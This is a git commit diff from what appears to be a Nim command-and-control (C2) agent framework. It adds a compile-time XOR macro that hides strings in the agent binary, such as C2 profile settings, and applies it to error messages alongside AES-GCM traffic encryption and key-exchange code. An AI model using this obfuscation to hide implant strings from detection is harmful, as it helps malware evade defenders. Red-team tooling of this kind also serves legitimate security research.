Implemented compile-time string obfuscation via XOR for the agent.

This commit is contained in:
Jakob Friedl
2025-08-26 15:11:43 +02:00
parent dd7433588f
commit 8791faec3f
13 changed files with 166 additions and 232 deletions

View File

@@ -1,7 +1,7 @@
import macros, system
import macros, system, hashes
import nimcrypto
import ./[utils, types]
import ./[types, utils]
#[
Symmetric AES256 GCM encryption for secure C2 traffic
@@ -10,7 +10,7 @@ import ./[utils, types]
proc generateBytes*(T: typedesc[Key | Iv]): array =
var bytes: T
if randomBytes(bytes) != sizeof(T):
raise newException(CatchableError, "Failed to generate byte array.")
raise newException(CatchableError, protect("Failed to generate byte array."))
return bytes
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
@@ -48,7 +48,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
if gmac != header.gmac:
raise newException(CatchableError, "Invalid authentication tag.")
raise newException(CatchableError, protect("Invalid authentication tag."))
return decData
@@ -110,7 +110,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
# Add combined public keys to hash
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys
let hashMessage: seq[byte] = string.toBytes(protect("CONQUEST")) & @combinedKeys
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
let hash = blake2b(hashMessage, sharedSecret)
@@ -129,7 +129,7 @@ proc writeKeyToDisk*(keyFile: string, key: Key) =
let bytesWritten = file.writeBytes(key, 0, sizeof(Key))
if bytesWritten != sizeof(Key):
raise newException(ValueError, "Invalid key length.")
raise newException(ValueError, protect("Invalid key length."))
proc loadKeyPair*(keyFile: string): KeyPair =
try:
@@ -140,7 +140,7 @@ proc loadKeyPair*(keyFile: string): KeyPair =
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
if bytesRead != sizeof(Key):
raise newException(ValueError, "Invalid key length.")
raise newException(ValueError, protect("Invalid key length."))
return KeyPair(
privateKey: privateKey,
@@ -151,4 +151,4 @@ proc loadKeyPair*(keyFile: string): KeyPair =
except IOError:
let keyPair = generateKeyPair()
writeKeyToDisk(keyFile, keyPair.privateKey)
return keyPair
return keyPair

View File

@@ -1,5 +1,5 @@
import tables
import ./types
import ./[types, utils]
var sequenceTable {.global.}: Table[uint32, uint32]
@@ -31,12 +31,12 @@ proc validatePacket*(header: Header, expectedType: uint8) =
# Validate magic number
if header.magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
raise newException(CatchableError, protect("Invalid magic bytes."))
# Validate packet type
if header.packetType != expectedType:
raise newException(CatchableError, "Invalid packet type.")
raise newException(CatchableError, protect("Invalid packet type."))
# Validate sequence number
if not validateSequence(header.agentId, header.seqNr, header.packetType):
raise newException(CatchableError, "Invalid sequence number.")
raise newException(CatchableError, protect("Invalid sequence number."))

View File

@@ -1,5 +1,5 @@
import streams, tables
import ./[types, utils, crypto]
import ./[types, utils]
#[
Packer
@@ -102,7 +102,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
unpacker.position += bytesRead
if bytesRead != length:
raise newException(IOError, "Not enough data to read")
raise newException(IOError, protect("Not enough data to read"))
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
var bytes: array[sizeof(T), byte]
@@ -111,7 +111,7 @@ proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]
unpacker.position += bytesRead
if bytesRead != sizeof(T):
raise newException(IOError, "Not enough data to read structure.")
raise newException(IOError, protect("Not enough data to read structure."))
return bytes

View File

@@ -1,20 +1,8 @@
import macros, hashes
import strutils, nimcrypto
import ./types
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
var uuid: array[4, byte]
if randomBytes(uuid) != 4:
raise newException(CatchableError, "Failed to generate UUID.")
return uuid.toHex().toUpperAscii()
proc toUuid*(T: type string, uuid: string): Uuid =
return fromHex[uint32](uuid)
proc toString*(T: type Uuid, uuid: Uuid): string =
return uuid.toHex(8)
proc toString*(T: type Bytes, data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
@@ -25,9 +13,49 @@ proc toBytes*(T: type string, data: string): seq[byte] =
for i, c in data:
result[i] = byte(c.ord)
#[
Compile-time string encryption using simple XOR
This is done to hide sensitive strings, such as C2 profile settings in the binary
]#
proc calculate(str: string, key: int): string {.noinline.} =
var k = key
var bytes = string.toBytes(str)
for i in 0 ..< bytes.len:
for f in [0, 8, 16, 24]:
bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
k = k +% 1
return Bytes.toString(bytes)
# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
macro protect*(str: untyped): untyped =
var encStr = calculate($str, key)
result = quote do:
calculate(`encStr`, `key`)
# Alternate the XOR key using the FNV prime (1677619)
key = (key *% 1677619) and 0x7FFFFFFF
#[
Utility functions
]#
proc toUuid*(T: type string, uuid: string): Uuid =
return fromHex[uint32](uuid)
proc toString*(T: type Uuid, uuid: Uuid): string =
return uuid.toHex(8)
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
var uuid: array[4, byte]
if randomBytes(uuid) != 4:
raise newException(CatchableError, protect("Failed to generate UUID."))
return uuid.toHex().toUpperAscii()
proc toUint32*(T: type Bytes, data: seq[byte]): uint32 =
if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32")
raise newException(ValueError, protect("Expected 4 bytes for uint32"))
return uint32(data[0]) or
(uint32(data[1]) shl 8) or
@@ -71,6 +99,6 @@ proc toBytes*(T: type uint64, value: uint64): seq[byte] =
proc toKey*(value: string): Key =
if value.len != 32:
raise newException(ValueError, "Invalid key length.")
raise newException(ValueError, protect("Invalid key length."))
copyMem(result[0].addr, value[0].unsafeAddr, 32)